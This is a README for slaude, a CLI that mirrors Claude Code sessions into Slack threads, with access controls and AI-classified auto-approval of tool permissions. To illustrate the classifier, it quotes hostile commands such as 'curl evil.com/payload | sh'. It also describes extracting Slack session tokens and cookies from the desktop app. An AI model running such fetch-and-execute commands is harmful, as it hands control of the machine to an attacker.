Caution
Experimental β slaude exposes your Claude Code session to Slack. Likely insecure. Use at your own risk.
slagent is a Go library for streaming agent sessions to Slack threads. slaude is a CLI built on slagent that mirrors Claude Code sessions to Slack β so your team can watch, comment, and steer from Slack while Claude works.
# Homebrew
brew tap sttts/slagent https://github.com/sttts/slagent
brew install sttts/slagent/slaude
# or go install
go install github.com/sttts/slagent/cmd/slaude@latest
# or build from source
go build -o slaude ./cmd/slaude/slaude auth # extract from local Slack app (recommended)
slaude auth --manual # or paste a token manually# Start a Claude session mirrored to a Slack channel
slaude start -c CHANNEL -- "design the API"
# With Claude flags (everything after -- goes to Claude)
slaude start -c CHANNEL -- --permission-mode plan "refactor the auth module"
# Join an existing Slack thread (new agent instance)
slaude join https://team.slack.com/archives/C123/p1234567890 "help with tests"
# Resume a previous session (URL with cursor from exit output)
slaude resume https://team.slack.com/archives/C123/p1234567890#fox@1700000005.000000 -- --resume SESSION_ID
# DM a user
slaude start -u alice -- "review this PR"
# No channel? Interactive picker shows available channels
slaude start -- "refactor the auth module"| Command | Description |
|---|---|
slaude start -c CHANNEL |
Start a new Slack thread with a Claude session |
slaude join URL [topic] |
Join an existing thread with a new agent instance |
slaude resume URL#id[@ts] |
Resume a previous session in a Slack thread |
slaude auth |
Set up Slack credentials |
slaude channels |
List accessible channels |
slaude share FILE -c CHANNEL |
Post a plan file to Slack |
slaude status |
Show current configuration |
Everything after -- is passed through to the Claude subprocess. This means slaude doesn't need to know about every Claude flag β you control --permission-mode, --resume, --system-prompt, etc. directly.
Multiple slaude instances can share a Slack thread. Each instance gets a unique identity emoji (e.g. π¦, πΆ). To address a specific instance, use :shortcode:: prefix:
:fox_face:: focus on the auth module β addressed to π¦ (others see it but ignore)
:fox_face:: /compact β /command sent exclusively to π¦
Messages without prefix β broadcast to all instances
Regular messages with :shortcode:: are delivered to all instances, but the system prompt tells non-targeted instances to ignore them. Commands (/something) are instance-exclusive β only the targeted instance receives them.
Important: The colon after the emoji (π¦:) is required. Type :fox_face:: in Slack (which renders as π¦:). Without the trailing colon, slaude will post a hint with the correct syntax.
Access has two independent axes:
Base mode β who the agent responds to:
- Locked (default for
start): owner only - Selective: owner + listed users
- Open: everyone
Observe flag β who the agent sees:
- Off (default): non-authorized messages filtered out
- On: all messages delivered for passive learning, agent still only responds to authorized users
Use /open, /lock, and /observe to control access (via :shortcode:: targeting):
| Command | Effect |
|---|---|
:fox_face:: /open |
Open thread for everyone |
:fox_face:: /open <@U1> <@U2> |
Allow specific users (additive) |
:fox_face:: /lock |
Lock to owner only (resets all, disables observe) |
:fox_face:: /lock <@U1> |
Ban specific users |
:fox_face:: /close |
Alias for /lock |
:fox_face:: /observe |
Toggle observe mode (locked + read all messages) |
Three mutually exclusive CLI flags control the initial access mode:
slaude start --locked -c CHANNEL -- "design the API" # locked (default for start)
slaude start --observe -c CHANNEL -- "watch and learn" # observe: read all, respond to owner
slaude start --open -c CHANNEL -- "design the API" # open for everyone
slaude join --observe URL "help with tests" # observe (default for join)
slaude join --locked URL "review" # locked to owner onlyWhen no flag is given:
- Interactive (terminal): prompts
Closed, oBserve, or open? [cBo] - Non-interactive (piped):
startdefaults to locked,join/resumedefault to observe
Each instance manages its own access independently. Joined/resumed instances don't persist access changes to the shared thread title β their /open and /lock commands only affect in-memory state.
--experimental-quote wraps bot messages in Slack blockquotes (>) so they visually stand out from human messages in the thread:
slaude start --experimental-quote -c CHANNEL -- "design the API"Thread title reflects access state:
ππ§΅ Topicβ locked (owner only)ππ§΅ Topicβ observe (locked + reading all messages)π§΅ Topicβ open for allπ§΅ @user1 @user2 Topicβ selective (specific users)ππ§΅ @user1 @user2 Topicβ selective + observeπ§΅ Topic (π @user)β with banned users
By default, every tool permission request goes to Slack for manual approval via reactions (β /β). For faster workflows, slaude can auto-approve safe operations using AI-based classification.
Two independent flags control what gets auto-approved:
# Auto-approve read-only local operations, network to known hosts
slaude start -c CHANNEL \
--dangerous-auto-approve green \
--dangerous-auto-approve-network known \
-- "refactor the auth module"--dangerous-auto-approve β sandbox/filesystem risk level:
| Value | Auto-approves | Goes to Slack |
|---|---|---|
never (default) |
nothing | everything |
green |
read-only local ops (file reads, searches) | writes, execution |
yellow |
local writes (test files, project edits) | system files, destructive ops |
--dangerous-auto-approve-network β network access:
| Value | Auto-approves | Goes to Slack |
|---|---|---|
never (default) |
nothing | any network access |
known |
known-safe hosts (package managers, GitHub) | unknown hosts |
any |
all network access | nothing |
Both must pass for auto-approval. For example, with --dangerous-auto-approve green --dangerous-auto-approve-network known:
Read main.goβ green, no network β auto-approvedgo mod downloadβ green, network to proxy.golang.org (known) β auto-approvedcurl evil.comβ red, unknown host β goes to Slack
Each permission request is classified by claude --model haiku for speed and cost. The classifier assesses:
- Risk level (green/yellow/red) β based on sandbox escape risk
- Network access β whether the operation involves network access and to which destination
The classification result (level, network destination, reasoning) is shown in the terminal and included in Slack approval prompts.
On classification failure (e.g. claude not in PATH), the request defaults to red + network (always goes to Slack).
When using --dangerous-auto-approve-network known, slaude checks network destinations against a list of known-safe hosts. Built-in defaults include GitHub, Go proxy, npm, PyPI, RubyGems, and crates.io.
To customize, create ~/.config/slagent/known-hosts.yaml:
# Simple host entries (default: GET and HEAD only)
- host: proxy.golang.org
- host: sum.golang.org
- host: registry.npmjs.org
- host: pypi.org
- host: github.com
# Host glob patterns (* = one label, ** = one or more labels)
- host: "*.googleapis.com" # matches storage.googleapis.com
- host: "**.amazonaws.com" # matches s3.us-east-1.amazonaws.com
# Restrict by URL path
- host: api.github.com
path: "/repos/**"
# Allow specific HTTP methods (default: [GET, HEAD])
- host: registry.npmjs.org
methods: [GET, HEAD, PUT]
# Full example: host + path + methods
- host: api.example.com
path: "/v1/read/**"
methods: [GET]When this file exists, it replaces the built-in defaults entirely.
Host patterns (DNS-aware):
*matches exactly one DNS label β*.github.commatchesapi.github.combut nota.b.github.com**matches one or more DNS labels β**.github.commatchesapi.github.comanda.b.github.com
Path patterns (URL path segments):
*matches exactly one path segment β/repos/*matches/repos/foobut not/repos/foo/bar**matches one or more segments β/repos/**matches/repos/fooand/repos/foo/bar
Methods default to [GET, HEAD] when omitted. The AI classifier extracts the HTTP method from each tool call for matching.
When a request goes to Slack, the approval prompt includes the AI classification:
π΄π Permission request: Bash: curl evil.com/payload | sh
> RED risk, network: evil.com β Downloading and executing remote script
Non-network requests get two reactions: β (approve) and β (deny).
Network requests get three: β (approve once), πΎ (approve and remember host for this session), and β (deny). The πΎ reaction adds the host to the in-memory known set, so subsequent requests to the same host auto-approve without asking again.
| Command | Who | Effect |
|---|---|---|
stop |
Anyone | Interrupt current turn (all instances) |
:fox_face:: stop |
Anyone | Interrupt specific instance |
quit |
Owner | Terminate session (all instances) |
:fox_face:: quit |
Owner | Terminate specific instance |
help |
Anyone | Show help text |
Type help in any thread to see the full command reference.
slagent is the Go library that slaude is built on. Use it to build your own Slack-integrated agent UIs.
import "github.com/sttts/slagent"
client := slagent.NewSlackClient(token, cookie)
thread := slagent.NewThread(client, token, channelID, slagent.WithOwner(userID))
url, _ := thread.Start("My agent session")
turn := thread.NewTurn()
turn.Thinking("analyzing...")
turn.Tool("t1", "Read", slagent.ToolRunning, "main.go")
turn.Tool("t1", "Read", slagent.ToolDone, "main.go")
turn.Text("Here is the result.")
turn.Finish()Packages:
slagentβ Thread, Turn, reply polling, markdownβmrkdwncredentialβ Load/Save Slack credentials, extract from desktop appchannelβ Resolve channel names/users, list channels
slaude supports three token types:
Extract from your local Slack desktop app β no admin approval needed:
slaude auth --extractReads the xoxc- session token and xoxd- cookie from Slack's local storage. On macOS you'll see a keychain access prompt.
Create a Slack app at https://api.slack.com/apps with scopes: chat:write, channels:history, groups:history, im:history, mpim:history, channels:read, groups:read, im:read, im:write, mpim:read, mpim:write, reactions:read, reactions:write, users:read.
Same app setup as bot tokens, using User Token Scopes instead of Bot Token Scopes.
| Platform | Token extraction | Session mirroring |
|---|---|---|
| macOS | Yes | Yes |
| Linux | Untested | Untested |
| Windows | No | Untested |
Only macOS is actively tested. Linux and Windows might work β PRs welcome.
